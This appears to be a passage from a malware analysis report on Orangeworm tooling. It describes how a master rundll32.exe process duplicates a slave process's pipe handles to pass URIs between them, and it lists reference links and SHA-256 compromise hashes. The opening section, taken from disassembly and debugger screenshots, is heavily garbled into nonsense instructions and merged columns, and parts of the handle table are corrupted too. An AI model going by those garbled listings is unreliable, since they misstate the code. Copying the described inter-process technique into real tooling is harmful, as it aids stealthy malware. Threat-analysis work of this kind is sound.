Lest:7/77161244 peak eax Lest:7/7716124 new ecx Lest:7/7716124 new ecx Lest:7/7716124 new ecx Lest:7/7716124 new ecx Lest:7/7716125 new ecx Lest:7/7716125 new ecx Lest:7/7716125 new eps Lest:7/7716125 new eps Lest:7/7701625 new eps					E83<024CF124
Test:7779155 pptb 708 Test:7779156 call deliber Test:7779156 call deliber Test:7779157 pptb eds Test:7779157 sdl egs 4 Test:7779157 sdl egs 4 Test:7779157 sdl egs 4 Test:7779157 sdl egs 4 Test:7779157 sdg egs 4 Test:7779157 sdg egs 4 Test:779157 sdg egs 4 Test:77957 sdg egs 4 Tes		; duMElliseconds			Pub Bere Clivindovri zydem22 zamdil2 ass 0000000 Clivindovri zydem24 assolytic dia sector 64/28000
.test:71781E82 push edi		; exProcess16			Threads
.text:71781E82 xor etx, etx		- Alabard Mondle			Decimal Hes State
.text:71781E8/ push 1FFFFFh		; GuBesiredRccess		-	2004 704 Ready
<pre>Ltst:?/74107 may [rbp-fargetHandle], etc tst:?/74107 may [rbp-fargetHandle], etc tst:?/74107 may [rbp-tstargetHandle], etc tst:?/74167 may [rbp-tstargetHandle], etc tst:?/74167 may [rbp-tst_66], etc tst:?/74167 may [rbp-tst_66], etc tst:?/74167 may effect word_7778184 Hert:?/74168 may [rbp-tst_66]</pre>		; wher_t =			20 2027 A.70 Ready 21 3104 GAB Ready 21 3104 GAB Ready 20 3105 Stable Ready 20 3124 Stable Ready 21 3124 Stable Ready 21 323 Ready Ready
.test:717810 8 call of open		; what t -		-	
CONTINUES and TITELESCORE (Surchronized with EII					
en lieu-1			8	# ×	E Black view
* at	80				224CE39C 224CE124 debug1811824CE124
	80 80 80 80 80 80 80	5.2.5.4.9.5.8.6.0. w.s.5.1.5.0.0.0.0. distributions.com processions.com			224/20180 71/763864 224/20180 71/763864 224/20180 7278/2019 224/20180 8278/2570 224/20180 8278/2570 224/20180 8267/2500 224/20180 8867/2590

The temporary file contains the identifiers of the handles created in the rundll32 SLAVE process:



In memory of the master process we will find those handles in their hexadecimal value:

debug181:024CE8F0	db	ØECh	;	ý
debug181:024CE8F1	db	0		
debug181:024CE8F2	db	0		
debug181:024CE8F3	db	0		
debug181:024CE8F4	db	0F Oh	;	
dobug101-8960E0EE	dЬ	A		

Once these handles are located, the master intends to duplicate them in order to obtain access to those handles in their process and that correspond to those of the slave process to communicate with each other:



In this execution, the value of IpTargetHandle was 0x290 and it is linked (or duplicated) with one of the rundll32.exe slave processes that it just read from the temporary file.

Propie	dades: run	dll32.exe (4012	2)								
General	Statistics	Performance	Threads	Token	Modules	Memory	Environment	Handles	Job	Disk and Network	Comment
V Hide	unnamed h	nandles									

Гуре	Name	Handle		
Кеу	HKCU	0x230		
Key	HKCU\Software\Classes	0x234		
Thread	rundl 32.exe (4012): 3156	0x244		
Thread	rundl 32.exe (4012): 3156	0x248		
EtwRegistration	{1ac55562-d4ff-4bc5-8ef3-a18e07c4668e}			
Кеу	HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEA	0x268		
Кеу	HKCU\Software\Microsoft\Windows NT\CurrentVersion\Network\Location Awareness			
Mutant	\Sessions\1\BaseNamedObjects\ZonesCounterMutex	0x270		
Кеу	HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	0x274		
Кеу	HKLM\SOFTWARE\Policies	0x278		
Кеу	HKCU\Software\Policies	0x27c		
Кеу	HKCU\Software	0x280		
Кеу	HKLM\SOFTWARE\Wow6432Node	0x284		
Кеу	HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	0x288		
Section	\Sessions\1\BaseNamedObjects\UrlZonesSM_Lucas			
File	Unnamed file: \FileSystem\Npfs	0x290		
Mutant	\Sessions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex	0x294		
Кеу	HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEA	0x298		
Mutant	\Sessions\1\BaseNamedObjects\ZonesCacheCounterMutex	0x29c		
Mutant	Sessions \1 BaseNamedObjects ZoneAttributeCacheCounterMutex			
Кеу	HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEA	0x2a4		
Mutant	\Sessions\1\BaseNamedObjects\!IETId!Mutex	0x2a8		
Mutant	Sessions 1 BaseNamedObjects ZonesLockedCacheCounterMutex			
W		0		

Summing up the operation, the master rundll32.exe opens the slave process. Then it reads the temporary one where the handles are (in decimal) of type pipe that the slave has created. The master makes a duplicate handle of the two pipes of the slave in its process and thus pass all the information through these pipes. A situation where this logic is used is when the master process initiated by the service cannot navigate. In this case, it creates the slave with the token of the user who owns the explorer.exe and tries to navigate with the URIs provided by the master due to the pipes created.

References

- [1] <u>https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia</u>
- [2] <u>https://content.connect.symantec.com/sites/default/files/2018-04/Orangeworm%20IOCs.pdf</u>
- [3] https://www.ccn-cert.cni.es/ca/seguretat-al-dia/noticies-d-actualitat/6156orangeworm-apt-orientada-al-sector-medico.html

Compromise indicators

07f5fa96d31ed75edba8699f53a75502ade214b34469163011ced5b94e393f32 Hashes analyzed 12c6c48e1e52ebca20f4b890922fb31965317865d35ac04d216ad8b78f866999 1486746bdba1161cfc15f37011c815911c33a2abd657198b835ac5f8eede663c 281c2ad26346305dac90ce33c2c417b6a7271f990ba9fa5c7db65d6f2e501e94 2d801f75a52f65ffb053ae052cad45a919afd431f5ca46e86abe3d9274c903e4 2f04f6b04a735d4ccbc196942acbd3f7a64bc588a0107fc9e344df62a41ad85d 303379ebb41bcb39bc8c5b7c102cff1a90a2ee207a51e0c0fd83c0348ea436a5 34ce48c7481118aac4b5d772a64e0edf8e107a7f606913c49493d5dbc06f96d7 39f8dd73baa0dd67607784b40fb4ad5881b50bb69a59eee2a844b615753062ed 3b3c9a372188fea46b05e9253e03473fda963aaa76fdd459590ecca9db5af9fb 3d0dbd119e9f1dd57db3331834c5206c4df321f3f6799c9a622f1a8abe462b2d 64defebf7e600d92685672c4b4d3d2ed3fc6cca27663a65c42df61843573297b 75d93cd55d54a38a9ec47efe26f4a2c4c8c14328175fdd8d69efc0187cef6a2e 768fab04b19c18e375183bd762eda75359da3a964aa97000639cdfdd066f6edd 7f9531e47146095f681564cfd5d322af3def6468202f62c6215af29c0453fb0a 83a0b4476a0f50321308e4e1b4d680430e29a53b9669174d8113d6dcbca817e2 85f8fa27a5f013d38a3c4a3742fbc43df90196326110fda9ad05ac2366d3e525 908d608f2b39b37a2a72cbdd96476acc1159341927d41103370432ddf148b4d9 97dd250670cef14e04db0145efe7fcfc945018b681e87e48a6f012fd7f79d02e a2d2584e1c46bc2954aaf47957f7fb48bc8209cdf04c1ccd226d689094a2b761 b489e5469938f1410a955ab26dc2cb2c81923c75f545df3c351767d5f13b728d b570b07b43cdef3fe2f636a9db6da3dd1e2cb68d980a5fe5b3225713d4ce3e8f c783f6180147abfa55e8c6dc137b506b595ea111589a1ba4a870778b1f309b8c cade857aa5735467a69af2267f6c6179286bd5d1ad61b60332a21527b69d9736 ced9a61ebaa8de7aa360ad2d24be26e2474fa4164118f8e32f4e2b2aba6ce511 d1953d2c07d0572063364f34de99950407d07bd376dd9817ac799d5628ae5339

d881198d26d10fc3a3ace876d4ef0db373b586de28a8b489248f3ea1840ba683 e3bc08f7a12f9b68a73de99ecd0aaef1447bbbba9e35f518d42fd0e751be858f f8eb3a2054d6bc51fc0a127f9c01c4aaf238c0c681c36164a716268dc452ff91